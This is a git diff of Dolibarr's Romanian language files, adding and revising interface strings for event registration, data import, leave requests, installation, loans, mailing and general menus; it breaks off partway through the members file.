DateMustBeBeforeThan=%s trebuie să fie înainte de %s DateMustBeAfterThan=%s trebuie să fie după %s - +MaxNbOfAttendeesReached=Numărul maxim de participanți a fost atins NewSubscription=Înregistrare OrganizationEventConfRequestWasReceived=Propunerea ta pentru conferinţă a fost primită OrganizationEventBoothRequestWasReceived=Solicitarea ta de rezervare a unui stand a fost primită @@ -157,7 +158,7 @@ VoteOk = Votul tău a fost acceptat. AlreadyVoted = Ai votat deja pentru acest eveniment. VoteError = A apărut o eroare în timpul votului, vă rugăm să încercați din nou. -SubscriptionOk = Înscrierea ta a fost validată +SubscriptionOk=Înregistrarea ta a fost salvată ConfAttendeeSubscriptionConfirmation = Confirmarea înscrierii la un eveniment Attendee = Participant PaymentConferenceAttendee = Plată participant conferinţă @@ -165,8 +166,11 @@ PaymentBoothLocation = Plată locaţie stand DeleteConferenceOrBoothAttendee=Ştergere participant RegistrationAndPaymentWereAlreadyRecorder=O înscriere şi o plată este înregistrată deja pentru adresa de email %s EmailAttendee=Email participant +EmailCompany=Emai companie EmailCompanyForInvoice=Email companie (pentru facturare, dacă diferă de cel al participantului) ErrorSeveralCompaniesWithEmailContactUs=Au fost găsite mai multe companii cu acest email, nu putem valida automat înregistrarea dumneavoastră. Vă rugăm să ne contactați la %s pentru o validare manuală ErrorSeveralCompaniesWithNameContactUs=Au fost găsite mai multe companii cu acest nume, nu putem valida automat înregistrarea dumneavoastră. Vă rugăm să ne contactați la %s pentru o validare manuală NoPublicActionsAllowedForThisEvent=Nu sunt acțiuni publice deschise pentru acest eveniment MaxNbOfAttendees=Număr maxim de participanți +DateStartEvent=Dată start eveniment +DateEndEvent=Dată sfârșit eveniment diff --git a/htdocs/langs/ro_RO/exports.lang b/htdocs/langs/ro_RO/exports.lang index eac23ce799a..99c957b0fda 100644 --- a/htdocs/langs/ro_RO/exports.lang +++ b/htdocs/langs/ro_RO/exports.lang @@ -18,6 +18,7 @@ ExportableFields=Câmpuri exportabile ExportedFields=Câmpuri exportate ImportModelName=Nume profil import date ImportModelSaved=Profilul de import a fost salvat ca %s. +ImportProfile=Profil import DatasetToExport=Set de date de exportat DatasetToImport=Import fişier în set de date ChooseFieldsOrdersAndTitle=Alegeţi ordinea câmpurilor... @@ -53,6 +54,7 @@ TypeOfLineServiceOrProduct=Tip de linie (0= produs, 1= serviciu) FileWithDataToImport=Fişiere cu date de import FileToImport=Fişierul sursă de import FileMustHaveOneOfFollowingFormat=Fișierul de import trebuie să aibă unul din următoarele formate +DownloadEmptyExampleShort=Descărcare fișier exemplu DownloadEmptyExample=Descarcă un fișier șablon cu exemple și informații despre câmpurile pe care le poți importa StarAreMandatory=În fișierul șablon, toate câmpurile cu * sunt câmpuri obligatorii ChooseFormatOfFileToImport=Alegeți formatul de fișier care va fi utilizat ca format de fișier de import făcând clic pe pictograma %s pentru selecţie... @@ -82,7 +84,7 @@ SelectFormat=Alege acest format de fişier de import RunImportFile=Import date NowClickToRunTheImport=Verifică rezultatele simulării de import. Corectează orice eroare și re-testează.
      Când simularea nu mai raportează erori, poţi importa datele în baza de date. DataLoadedWithId=Datele importate vor avea un câmp suplimentar în fiecare tabelă de bază de date cu acest id de import: %s , pentru a permite ca acesta să poată fi căutat în cazul investigării unei probleme legate de acest import. -ErrorMissingMandatoryValue=Date obligatorii sunt necompletate în fișierul sursă pentru câmpul %s. +ErrorMissingMandatoryValue=Date obligatorii sunt necompletate în fișierul sursă în coloana %s.  TooMuchErrors=Există încă %s alte linii sursă cu erori, dar afişarea a fost limitată. TooMuchWarnings=Există încă %s alte linii sursă cu avertismente, dar afişarea a fost limitată. EmptyLine=Linie goală (va fi ignorată) @@ -92,9 +94,9 @@ YouCanUseImportIdToFindRecord=Găsiţi toate înregistrările importate în baza NbOfLinesOK=Număr de linii fără erori şi fără avertismente: %s. NbOfLinesImported=Număr de linii importate cu succes: %s. DataComeFromNoWhere=Valoarea de inserare necunoscută în fişierul sursă. -DataComeFromFileFieldNb=Valoarea de introdus vine din câmpul cu numărul %s din fişierul sursă. -DataComeFromIdFoundFromRef=Valoarea care provine din câmpul cu numărul %s din fișierul sursă va fi utilizată pentru a găsi id-ul obiectului părinte care se va folosi (astfel încât obiectul %s care are referinţa din fișierul sursă trebuie să existe în baza de date). -DataComeFromIdFoundFromCodeId=Codul care provine din câmpul cu numărul %s din fișierul sursă va fi folosit pentru a găsi id-ul obiectului părinte utilizat (deci codul din fișierul sursă trebuie să existe în dicționarul %s). Reține că, dacă cunoști id-ul, îl poți utiliza și în fișierul sursă în locul codului. Importul ar trebui să funcționeze în ambele cazuri. +DataComeFromFileFieldNb=Valoarea de inserat provine din coloana %s din fișierul sursă. +DataComeFromIdFoundFromRef=Valoarea care vine din fișierul sursă va fi folosită pentru a găsi id-ul obiectului părinte de utilizat (deci obiectul %s care are ref. din fișierul sursă trebuie să existe în baza de date). +DataComeFromIdFoundFromCodeId=Valoarea codului care provine din fișierul sursă va fi folosită pentru a găsi id-ul obiectului părinte de utilizat (deci codul din fișierul sursă trebuie să existe în dicționar %s). Reține că, dacă cunoști id-ul, îl poți utiliza și în fișierul sursă în loc de cod. Importul ar trebui să funcționeze în ambele cazuri. DataIsInsertedInto=Datele care provin din fişierul sursă vor fi inserate în următorul câmp: DataIDSourceIsInsertedInto=ID-ul obiectului părinte, care a fost găsit folosind datele din fișierul sursă, va fi inserat în următorul câmp:  DataCodeIDSourceIsInsertedInto=ID-ul liniei părinte, care a fost găsit din cod, va fi inserat în câmpul următor: @@ -132,9 +134,14 @@ FormatControlRule=Regula de control a formatelor ## imports updates KeysToUseForUpdates=Cheie (coloană) de utilizat pentru actualizarea datelor existente NbInsert=Număr linii inserate: %s +NbInsertSim=Număr de linii care vor fi inserate: %s NbUpdate=Număr linii actualizate: %s +NbUpdateSim=Număr de linii care vor fi actualizate : %s MultipleRecordFoundWithTheseFilters=Au fost găsite mai multe înregistrări cu ajutorul acestor filtre: %s StocksWithBatch=Stocuri și locație (depozit) a produselor cu număr de lot/serie WarningFirstImportedLine=Prima lini(e) nu va fi importată din selecţia curentă NotUsedFields=Câmpuri bază de date care nu sunt utilizate SelectImportFieldsSource = Alege câmpurile fișierului sursă pe care vrei să le imporţi și câmpul lor țintă în baza de date, alegând câmpurile din fiecare casetă de selectare sau selectează un profil de import predefinit: +MandatoryTargetFieldsNotMapped=Unele câmpuri țintă obligatorii nu sunt mapate +AllTargetMandatoryFieldsAreMapped=Toate câmpurile țintă care necesită o valoare obligatorie sunt mapate +ResultOfSimulationNoError=Rezultatul simulării: Nicio eroare diff --git a/htdocs/langs/ro_RO/holiday.lang b/htdocs/langs/ro_RO/holiday.lang index 1720c366c9f..88a703367cc 100644 --- a/htdocs/langs/ro_RO/holiday.lang +++ b/htdocs/langs/ro_RO/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM Holidays=Concedii +Holiday=Concedii CPTitreMenu=Concedii MenuReportMonth=Situaţia lunară MenuAddCP=Cerere de concediu nouă +MenuCollectiveAddCP=Cerere de concediu colectiv nouă NotActiveModCP=Trebuie să activați modulul Concedii pentru a vedea această pagină. AddCP=Crează o cerere de concediu DateDebCP=Dată început @@ -56,6 +58,7 @@ ConfirmDeleteCP=Confirmaţi ştergerea acestei cereri de concediu? ErrorCantDeleteCP=Eroare, nu ai dreptul de a şterge această cerere de concediu. CantCreateCP=Nu ai dreptul de a face cereri de concediu. InvalidValidatorCP=Trebuie să alegi responsabilul cu abrobarea pentru cererea ta de concediu. +InvalidValidator=Utilizatorul ales nu are rol de aprobator. NoDateDebut=Trebuie să selectaţi data de început. NoDateFin=Trebuie să selectaţi data de sfârşit. ErrorDureeCP=Cererea ta de concediu nu conţine zile lucrătoare. @@ -79,6 +82,8 @@ MotifCP=Motiv UserCP=Utilizator ErrorAddEventToUserCP=O eroare a survenit in timpul adăugării de concediu excepţional. AddEventToUserOkCP=Adăugarea de concediu excepţional a fost efectuată +ErrorFieldRequiredUserOrGroup=Câmpul "grup" sau câmpul "utilizator" trebuie completat +fusionGroupsUsers=Câmpul grupuri și câmpul utilizator vor fi îmbinate MenuLogCP=Vezi modificări cereri LogCP=Jurnalul tuturor actualizărilor făcute la "Calculul zilelor de concediu" ActionByCP=Actualizat de @@ -86,6 +91,13 @@ UserUpdateCP=Actualizat pentru PrevSoldeCP=Sold precedent NewSoldeCP=Sold nou alreadyCPexist=O cerere de concediu a fost deja făcută pe această perioadă. +UseralreadyCPexist=O cerere de concediu a fost deja făcută în această perioadă pentru %s. +groups=Grupuri +users=Utilizatori +AutoSendMail=Trimitere automată email +NewHolidayForGroup=Cerere de concediu colectiv nouă +SendRequestCollectiveCP=Trimitere cerere de concediu colectiv +AutoValidationOnCreate=Validare automată FirstDayOfHoliday=Prima zi de pe cererea de concediu LastDayOfHoliday=Ultima zi de pe cererea de concediu BoxTitleLastLeaveRequests=Ultimele %s cereri de concediu modificate @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s este de obicei o zi NElucrătoare BlockHolidayIfNegative=Blocare dacă soldul este negativ LeaveRequestCreationBlockedBecauseBalanceIsNegative=Crearea acestei cereri de concediu este blocată deoarece soldul tău este negativ ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Cererea de concediu %s trebuie să fie schiţă, anulată sau refuzată pentru a fi ștearsă +IncreaseHolidays=Mărire zile libere +HolidayRecordsIncreased= %s înregistrări de concediu au fost mărite +HolidayRecordIncreased=Concediul a fost mărit +ConfirmMassIncreaseHoliday=Creștere în masă a a concediilor +NumberDayAddMass=Număr de zile de adăugat la selecție +ConfirmMassIncreaseHolidayQuestion=Sigur vrei să mărești zilele libere pentru înregistrarea %s selectată(e)? +HolidayQtyNotModified=Soldul zilelor rămase pentru %s nu a fost modificat diff --git a/htdocs/langs/ro_RO/install.lang b/htdocs/langs/ro_RO/install.lang index 7c89d198bf5..d4de0c5fb16 100644 --- a/htdocs/langs/ro_RO/install.lang +++ b/htdocs/langs/ro_RO/install.lang @@ -28,6 +28,7 @@ ErrorPHPVersionTooLow=Versiune PHP este prea veche. Versiunea %s sau mai nouă e ErrorPHPVersionTooHigh=Versiune PHP prea nouă. Versiunea %s sau mai veche este necesară. ErrorConnectedButDatabaseNotFound=Conectarea la server a reușit, dar baza de date '%s' nu a fost găsită. ErrorDatabaseAlreadyExists=Baza de date '%s' există deja. +ErrorNoMigrationFilesFoundForParameters=Nu a fost găsit niciun fișier de migrare pentru versiunile selectate IfDatabaseNotExistsGoBackAndUncheckCreate=Dacă baza de date nu există, reveniți și bifați opțiunea "Creare bază de date". IfDatabaseExistsGoBackAndCheckCreate=Dacă baza de date există deja, du-te înapoi şi debifează opţiunea "Creare bază de date". WarningBrowserTooOld=Versiunea browserului este prea veche. Este recomandat să vă actualizați browserul la o versiune recentă de Firefox, Chrome sau Opera. @@ -50,7 +51,6 @@ DatabaseName=Nume bază de date DatabasePrefix=Prefixul tabel bază de date DatabasePrefixDescription=Prefixul tabelului din baza de date. Dacă este gol, implicit este llx_. AdminLogin=Cont utilizator pentru proprietarul bazei de date a sistemului. -PasswordAgain=Rescrieți confirmarea parolei AdminPassword=Parola pentru proprietarul bazei de date a sistemului. CreateDatabase=Creare bază de date CreateUser=Creați un cont de utilizator sau acordați permisiunea unui cont de utilizator în baza de date a sistemului @@ -88,7 +88,7 @@ LoginAlreadyExists=Există deja DolibarrAdminLogin=Sistem admin autentificare AdminLoginAlreadyExists=Contul de administrator sistem '%s' există deja. Întoarce-te dacă vrei să creezi altul. FailedToCreateAdminLogin=Eşec la crearea contului de administrator sistem. -WarningRemoveInstallDir=Avertisment, din motive de securitate, odată ce instalarea sau actualizarea este completă, trebuie să adăugați un fișier numit install.lock în directorul de documente sistem pentru a preveni utilizarea accidentală/rău intenționată a instrumentelor de instalare din nou . +WarningRemoveInstallDir=Atenție, din motive de securitate, odată ce procesul de instalare este finalizat, trebuie să adaugi un fișier numit install.lock în directorul de documente Dolibarr pentru a preveni din nou utilizarea accidentală/răuvoitoare a instrumentelor de instalare. FunctionNotAvailableInThisPHP=Nu este disponibil în acest PHP ChoosedMigrateScript=Alegeţi script-ul de migraţie DataMigration=Migrarea bazei de date (date) @@ -208,7 +208,12 @@ HideNotAvailableOptions=Ascunde opțiunile indisponibile ErrorFoundDuringMigration=Au fost raportate eroare(ri) în timpul procesului de migrare, astfel încât următorul pas nu este disponibil. Pentru a ignora erorile, puteți apăsa aici, dar este posibil ca aplicația sau unele caracteristici să nu funcționeze corect până când erorile nu sunt rezolvate. YouTryInstallDisabledByDirLock=Sistemul a încercat să se autoactualizeze, însă paginile de instalare/upgrade au fost dezactivate din motive de securitate (directorul este redenumit cu sufixul .lock).
      YouTryInstallDisabledByFileLock=Aplicația a încercat să se autoactualizeze, însă paginile de instalare/upgrade au fost dezactivate din motive de securitate (există un fișier de blocare install.lock în directorul de documente al sistemului).
      +YouTryUpgradeDisabledByMissingFileUnLock=Aplicația a încercat să se auto-actualizeze, dar procesul de actualizare nu este permis în prezent.
      ClickHereToGoToApp=Faceți clic aici pentru a merge la aplicația ta. ClickOnLinkOrRemoveManualy=Dacă o actualizare este în curs, așteptați. Dacă nu, faceți clic pe următorul link. Dacă vedeți întotdeauna aceeași pagină, trebuie să eliminați/să redenumiți fișierul install.lock din directorul documentelor. +ClickOnLinkOrCreateUnlockFileManualy=Dacă o actualizare este în curs, așteaptă... Dacă nu, trebuie să creezi un fișier upgrade.unlock în directorul de documente al sistemului.  Loaded=Încărcat FunctionTest=Test de funcţionare +NodoUpgradeAfterDB=Nicio acțiune solicitată de module externe după actualizarea bazei de date +NodoUpgradeAfterFiles=Nicio acțiune solicitată de module externe după actualizarea fișierelor sau directoarelor +MigrationContractLineRank=Migrare linie contract pentru a utiliza rangul (și activare Re-comandă) diff --git a/htdocs/langs/ro_RO/interventions.lang b/htdocs/langs/ro_RO/interventions.lang index ecbfb5e2358..afe669b3d0e 100644 --- a/htdocs/langs/ro_RO/interventions.lang +++ b/htdocs/langs/ro_RO/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Ascunde orele și minutele din câmpul de dată pe InterventionStatistics=Statistici intervenţii NbOfinterventions=Număr intervenții NumberOfInterventionsByMonth=Nr. intervenții pe lună (după data de validare) -AmountOfInteventionNotIncludedByDefault=Suma de intervenție nu este inclusă implicit în profit (în majoritatea cazurilor, foile de pontaj sunt utilizate pentru a calcula timpul consumat). Adăugați opțiunea PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT la 1 în Acasă-Setări-Alte setări pentru a-l include. +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=ID intervenţie InterRef=Ref. intervenţie InterDateCreation=Dată creare intervenție @@ -68,3 +68,5 @@ ConfirmReopenIntervention=Eşti sigur că vrei să re-deschizi intervenţia % GenerateInter=Generare intervenţie FichinterNoContractLinked=Intervenţia %s a fost creată fără un contract asociat. ErrorFicheinterCompanyDoesNotExist=Compania nu există. Intervenția nu a fost creată. +NextDateToIntervention=Data pentru următoarea generare de intervenție +NoIntervention=Nicio intervenție diff --git a/htdocs/langs/ro_RO/loan.lang b/htdocs/langs/ro_RO/loan.lang index 8a146e5b36d..5a478b7fc00 100644 --- a/htdocs/langs/ro_RO/loan.lang +++ b/htdocs/langs/ro_RO/loan.lang @@ -28,7 +28,7 @@ CantUseScheduleWithLoanStartedToPaid = Nu se poate genera un grafic de rambursar CantModifyInterestIfScheduleIsUsed = Nu poţi modifica dobânda dacă foloseşti scadenţar # Admin ConfigLoan=Configurare modul Credite - împrumuturi -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Cont contabil de capital implicit -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Cont contabil de dobândă implicit -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Cont contabil de asigurare implicit +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Cont contabil (din Planul de Conturi) care va fi utilizat implicit pentru capital (modul Împrumuturi) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Cont contabil (din Planul de Conturi) care va fi utilizat implicit pentru dobândă (modul Împrumuturi) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Cont contabil (din Planul de Conturi) care va fi utilizat implicit pentru asigurare (modul Împrumuturi) CreateCalcSchedule=Editați angajamentul financiar diff --git a/htdocs/langs/ro_RO/mailmanspip.lang b/htdocs/langs/ro_RO/mailmanspip.lang index c528c3ac648..ec3edaa1dbe 100644 --- a/htdocs/langs/ro_RO/mailmanspip.lang +++ b/htdocs/langs/ro_RO/mailmanspip.lang @@ -1,27 +1,27 @@ # Dolibarr language file - Source file is en_US - mailmanspip MailmanSpipSetup=Setare Modul Mailman şi SPIP -MailmanTitle=Sistem mailing list Mailman -TestSubscribe=Pentru testare inscriere la listele Mailman -TestUnSubscribe=Pentru testarea dezabonarii la listele Mailman +MailmanTitle=Sistem email Mailman +TestSubscribe=Pentru testare înscriere la listele Mailman +TestUnSubscribe=Pentru testarea dezabonării din listele Mailman MailmanCreationSuccess=Testul de abonare a fost executat cu succes MailmanDeletionSuccess=Testul de dezabonare a fost executat cu succes -SynchroMailManEnabled=O actualizare Mailman a fost realizată -SynchroSpipEnabled=O actualizare Spip a fost realizată -DescADHERENT_MAILMAN_ADMINPW=Parolă administrator Mailman +SynchroMailManEnabled=O actualizare Mailman va fi realizată +SynchroSpipEnabled=O actualizare Spip va fi realizată +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Parolă administrator Mailman DescADHERENT_MAILMAN_URL=URL pentru abonare Mailman DescADHERENT_MAILMAN_UNSUB_URL=URL pentru dezabonare Mailman -DescADHERENT_MAILMAN_LISTS=Lista(e) pentru inscrierea automata a noilor mebrii ( separate de virgula) -SPIPTitle=SPIP Content Management System +DescADHERENT_MAILMAN_LISTS=Listă(e) pentru înscrierea automată a noilor membri ( separate de virgulă) +SPIPTitle=Sistem de management conţinut SPIP DescADHERENT_SPIP_SERVEUR=SPIP Server DescADHERENT_SPIP_DB=Nume bază de date SPIP -DescADHERENT_SPIP_USER=Login bază de date SPIP -DescADHERENT_SPIP_PASS=Parolă bază de date SPIP +DescADHERENT_SPIP_USER=Login bază de date SPIP +DescADHERENT_SPIP_PASS=Parolă bază de date SPIP AddIntoSpip=Adaugă în SPIP -AddIntoSpipConfirmation=Sunteti sigur ca doriti adaugarea acestui membru in SPIP ? +AddIntoSpipConfirmation=Eşti sigur că doreşti adăugarea acestui membru în SPIP? AddIntoSpipError=Eşuare la adăugarea utilizatorului în SPIP DeleteIntoSpip=Înlătură din SPIP -DeleteIntoSpipConfirmation=Sunteti sigur ca doriti stergerea acestui membru din SPIP ? -DeleteIntoSpipError=Esec la stergere utilizator din SPIP -SPIPConnectionFailed=Eşuare la conectatrea SPIP -SuccessToAddToMailmanList=%s a fost adăugată cu succes la lista de posta %s sau la baza de date SPIP -SuccessToRemoveToMailmanList=%s eliminat cu succes de pe lista de posta %s sau baza de date SPIP +DeleteIntoSpipConfirmation=Sunteţi sigur că doriţi ştergerea acestui membru din SPIP? +DeleteIntoSpipError=Eşec la ştergerea utilizatorului din SPIP +SPIPConnectionFailed=Eşuare la conectarea SPIP +SuccessToAddToMailmanList=%s a fost adăugată cu succes la lista mailman %s sau în baza de date SPIP +SuccessToRemoveToMailmanList=%s eliminat cu succes de pe lista mailman %s sau baza de date SPIP diff --git a/htdocs/langs/ro_RO/mails.lang b/htdocs/langs/ro_RO/mails.lang index 2a091dca2de..9e7885e6750 100644 --- a/htdocs/langs/ro_RO/mails.lang +++ b/htdocs/langs/ro_RO/mails.lang @@ -7,10 +7,10 @@ MailCard=Fişă newsletter MailRecipients=Destinatari MailRecipient=Destinatar MailTitle=Titlu descriere -MailFrom=Expeditor +MailFrom=De la MailErrorsTo=Erori la MailReply=Răspunde la -MailTo=Destinatar(i) +MailTo=La MailToUsers=Pentru utilizator(i) MailCC=Copie la MailToCCUsers=CC la utilizator(i) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Contacte după funcţie MailingModuleDescEmailsFromFile=Adrese email din fișier MailingModuleDescEmailsFromUser=Adrese de email introduse de utilizator MailingModuleDescDolibarrUsers=Utilizatori cu adrese de email -MailingModuleDescThirdPartiesByCategories=Terți (pe categorii) +MailingModuleDescThirdPartiesByCategories=Terţi SendingFromWebInterfaceIsNotAllowed=Trimiterea de pe interfața web nu este permisă. EmailCollectorFilterDesc=Toate filtrele trebuie să se potrivească pentru ca un email să fie colectat @@ -179,3 +179,4 @@ RecordCreatedByEmailCollector=Înregistrare creată de colectorul de email %s di DefaultBlacklistMailingStatus=Valoare implicită pentru câmpul '%s' când este creat un nou contact DefaultStatusEmptyMandatory= Necompletat, dar obligatoriu WarningLimitSendByDay=ATENȚIE: Configurarea sau contractul instanței tale limitează numărul de email-uri pe zi la %s. Încercarea de a trimite mai multe poate duce la încetinirea sau suspendarea instanței. Contactează serviciul de asistență dacă ai de o cotă mai mare. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/ro_RO/main.lang b/htdocs/langs/ro_RO/main.lang index b9e45cb7e93..4e14d42827f 100644 --- a/htdocs/langs/ro_RO/main.lang +++ b/htdocs/langs/ro_RO/main.lang @@ -34,6 +34,7 @@ NoTemplateDefined=Nu există șablon disponibil pentru acest tip de email AvailableVariables=Variabile de substituţie disponibile NoTranslation=Fără traducere Translation=Traduceri +Translations=Traduceri CurrentTimeZone=TimeZone PHP (server) EmptySearchString=Introdu criterii de căutare valide EnterADateCriteria= Introduceți un criteriu de tip dată @@ -152,7 +153,7 @@ SelectedPeriod=Perioada selectată PreviousPeriod=Perioada anterioară Activate=Activare Activated=Activat -Closed=Închide +Closed=Închis Closed2=Închis NotClosed=Nu este închisă Enabled=Activat @@ -205,6 +206,7 @@ Valid=Valid Approve=Aprobare Disapprove=Dezaprobă ReOpen=Redeschide +OpenVerb=Deschis Upload=Încărcare ToLink=Link Select=Selectare @@ -222,8 +224,9 @@ UserGroup=Grup utilizator UserGroups=Grupuri utilizator NoUserGroupDefined=Niciun grup de utilizatori definit Password=Parola -PasswordRetype=Repetă parola +PasswordRetype=Repetare parolă NoteSomeFeaturesAreDisabled=Atenţie, o mulţime de funcţionalităţi/module sunt dezactivate în această instanţă demonstrativă. +YourUserFile=Fișierul tău de utilizator Name=Nume NameSlashCompany=Nume/Companie Person=Persoană @@ -487,6 +490,7 @@ ActionsOnContact=Evenimente pentru acest contact/adresă ActionsOnContract=Evenimente pentru acest contract ActionsOnMember=Evenimente privind acest membru ActionsOnProduct=Evenimente despre acest produs +ActionsOnAsset=Evenimente pentru acest mijloc fix NActionsLate=%s întârziat ToDo=De făcut Completed=Terminat @@ -808,6 +812,7 @@ URLPhoto=Url către foto/logo SetLinkToAnotherThirdParty=Asociază cu un alt terţ LinkTo=Asociere la LinkToProposal=Asociere la ofertă +LinkToExpedition= Link către expediție LinkToOrder=Link către comandă LinkToInvoice=Link la factură LinkToTemplateInvoice=Link la șablon factură @@ -893,6 +898,9 @@ MassFilesArea=Zona pentru fişiere generate prin acţiuni în masă ShowTempMassFilesArea=Afişează zona pentru fişiere generate prin acţiuni în masă ConfirmMassDeletion=Confirmare ştergere în bloc ConfirmMassDeletionQuestion=Sigur doriți să ștergeți %s înregistrările(înregistrarea) selectate? +ConfirmMassClone=Confirmare clonare în masă +ConfirmMassCloneQuestion=Selectează proiectul în care să clonezi +ConfirmMassCloneToOneProject=Clonare la proiectul %s RelatedObjects=Obiecte asociate ClassifyBilled=Clasează facturată ClassifyUnbilled=Clasează nefacturată @@ -908,13 +916,14 @@ ExportFilteredList=Export listă filtrată ExportList=Export listă ExportOptions=Opţiuni export IncludeDocsAlreadyExported=Include documentele deja exportate -ExportOfPiecesAlreadyExportedIsEnable=Exportul elementelor deja exportate este activat -ExportOfPiecesAlreadyExportedIsDisable=Exportul elementelor deja exportate este dezactivat +ExportOfPiecesAlreadyExportedIsEnable=Documentele deja exportate sunt vizibile și vor fi exportate +ExportOfPiecesAlreadyExportedIsDisable=Documentele deja exportate sunt ascunse și nu vor fi exportate AllExportedMovementsWereRecordedAsExported=Toate mişcările exportate au fost înegistrate ca exportate NotAllExportedMovementsCouldBeRecordedAsExported=Nu toate mişcările exportate au putut fi înregistrate ca exportate Miscellaneous=Diverse Calendar=Calendar GroupBy=Grupare după... +GroupByX=Grupare după %s ViewFlatList=Vizualizare listă aplatizată ViewAccountList=Afişare registru jurnal ViewSubAccountList=Afişare registru analitice @@ -926,6 +935,7 @@ DirectDownloadInternalLink=Link de descărcare privat PrivateDownloadLinkDesc=Trebuie să fiți conectat și aveți nevoie de permisiuni pentru a vizualiza sau descărca fișierul Download=Descărcare DownloadDocument=Descărcare document +DownloadSignedDocument=Descărcare document semnat ActualizeCurrency=Actualizare curs valutar Fiscalyear=An fiscal ModuleBuilder=Dezvoltator de module şi aplicaţii @@ -1051,6 +1061,7 @@ SearchIntoContracts=Contracte SearchIntoCustomerShipments=Livrări Client SearchIntoExpenseReports=Rapoarte Cheltuieli SearchIntoLeaves=Concedii +SearchIntoKM=Bază de cunoştinţe SearchIntoTickets=Tichete de suport SearchIntoCustomerPayments=Plăţi ale clienţilor SearchIntoVendorPayments=Plăți furnizori @@ -1122,6 +1133,7 @@ DeleteFileText=Eşti sigur că vrei să ştergi acest fişier? ShowOtherLanguages=Afişare alte limbi SwitchInEditModeToAddTranslation=Comută în modul editare pentru a adăuga traduceri pentru această limbă NotUsedForThisCustomer=Neutilizat pentru acest client +NotUsedForThisVendor=Nu este folosit pentru acest furnizor AmountMustBePositive=Suma trebuie să fie pozitivă ByStatus=După status InformationMessage=Informaţie @@ -1142,15 +1154,29 @@ EventReminder=Memento eveniment UpdateForAllLines=Actualizare pentru toate liniile OnHold=În aşteptare Civility=Formulă de adresare -AffectTag=Afectează eticheta +AffectTag=Asignare tag +AffectUser=Atribuie un utilizator +SetSupervisor=Setare supervizor CreateExternalUser=Creare utilizator extern -ConfirmAffectTag=Afectare multiplă etichete -ConfirmAffectTagQuestion=Sigur doriți să afectați etichetele înregistrărilor %s selectat(e)? +ConfirmAffectTag=Atribuire Tag în masă +ConfirmAffectUser=Asignare utilizator în masă +ProjectRole=Rol atribuit pentru fiecare proiect/oportunitate +TasksRole= Rol atribuit fiecărui task (dacă este utilizat) +ConfirmSetSupervisor=Setare supervizor în masă +ConfirmUpdatePrice=Alege un procent de creștere/scădere a prețului +ConfirmAffectTagQuestion=Sigur vrei să atribui tag-urile înregistrăr(ilor) selectate %s ? +ConfirmAffectUserQuestion=Sigur vrei să asignezi utilizatori la înregistrăr(ile) selectate %s? +ConfirmSetSupervisorQuestion=Sigur vrei să setezi un supervizor pentru înregistrarea selectată(e) %s? +ConfirmUpdatePriceQuestion=Sigur vrei să actualizezi prețul înregistră(rilor) selectate %s? CategTypeNotFound=Nu s-a găsit niciun tip de etichetă pentru tipul de înregistrări +Rate=Curs +SupervisorNotFound=Supervizor-ul nu a fost găsit CopiedToClipboard=Copiat în clipboard InformationOnLinkToContract=Această sumă este doar totalul tuturor liniilor contractului. Nici o noțiune de timp nu este luată în considerare. ConfirmCancel=Eşti sigur că vrei să anulezi EmailMsgID=MsgID email +EmailDate=Dată email +SetToStatus=Setare la statusul %s SetToEnabled=Setat ca activată SetToDisabled=Setat ca dezactivat ConfirmMassEnabling=confirmare activare în masă @@ -1179,11 +1205,23 @@ Terminated=Terminat AddLineOnPosition=Adaugă linie pe poziție (la sfârșit dacă este goală) ConfirmAllocateCommercial=Confirmare asignare reprezentant vânzări ConfirmAllocateCommercialQuestion=Sigur vrei să asignezi %s la înregistră(rile) selectate? -CommercialsAffected=Reprezentanții de vânzări afectați -CommercialAffected=Reprezentantul de vânzări afectat +CommercialsAffected=Reprezentanți vânzări asignați +CommercialAffected=Reprezentant vânzări asignat YourMessage=Mesajul tău YourMessageHasBeenReceived=Mesajul tău a fost primit. Vă vom răspunde sau vă vom contacta cât mai curând posibil. UrlToCheck=Url de verificat Automation=Automatizare CreatedByEmailCollector=Creat de Colectorul de email CreatedByPublicPortal=Creat din Portalul public +UserAgent=User Agent +InternalUser=Utilizator intern +ExternalUser=Utilizator extern +NoSpecificContactAddress=Fără contact sau adresă specificată +NoSpecificContactAddressBis=Această filă este dedicată pentru a forța anumite contacte sau adrese pentru obiectul curent. Utilizează numai dacă dorești să definești unul sau mai multe contacte sau adrese specifice pentru obiect atunci când informațiile despre terț nu sunt suficiente sau nu sunt exacte. +HideOnVCard=Ascunde %s +AddToContacts=Adaugă adresă la contactele mele +LastAccess=Ultima accesare +UploadAnImageToSeeAPhotoHere=Încarcă o imagine din fila %s pentru a vedea o fotografie aici +LastPasswordChangeDate= Data ultimei modificări a parolei +PublicVirtualCardUrl=Pagina virtuală de cărți de vizită +TreeView=Vizualizare arborescentă diff --git a/htdocs/langs/ro_RO/members.lang b/htdocs/langs/ro_RO/members.lang index cc46ed8c201..69701e13b84 100644 --- a/htdocs/langs/ro_RO/members.lang +++ b/htdocs/langs/ro_RO/members.lang @@ -4,6 +4,8 @@ MemberCard=Fişă membru SubscriptionCard=Fişă cotizaţie Member=Membru Members=Membri +NoRecordedMembers=No recorded members +NoRecordedMembersByType=No recorded members ShowMember=Arată fişa membrului UserNotLinkedToMember=Utilizator neasociat la la un membru ThirdpartyNotLinkedToMember=Terț neasociat la un membru @@ -15,6 +17,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Un alt membru (nume:%s, log ErrorUserPermissionAllowsToLinksToItselfOnly=Din motive de 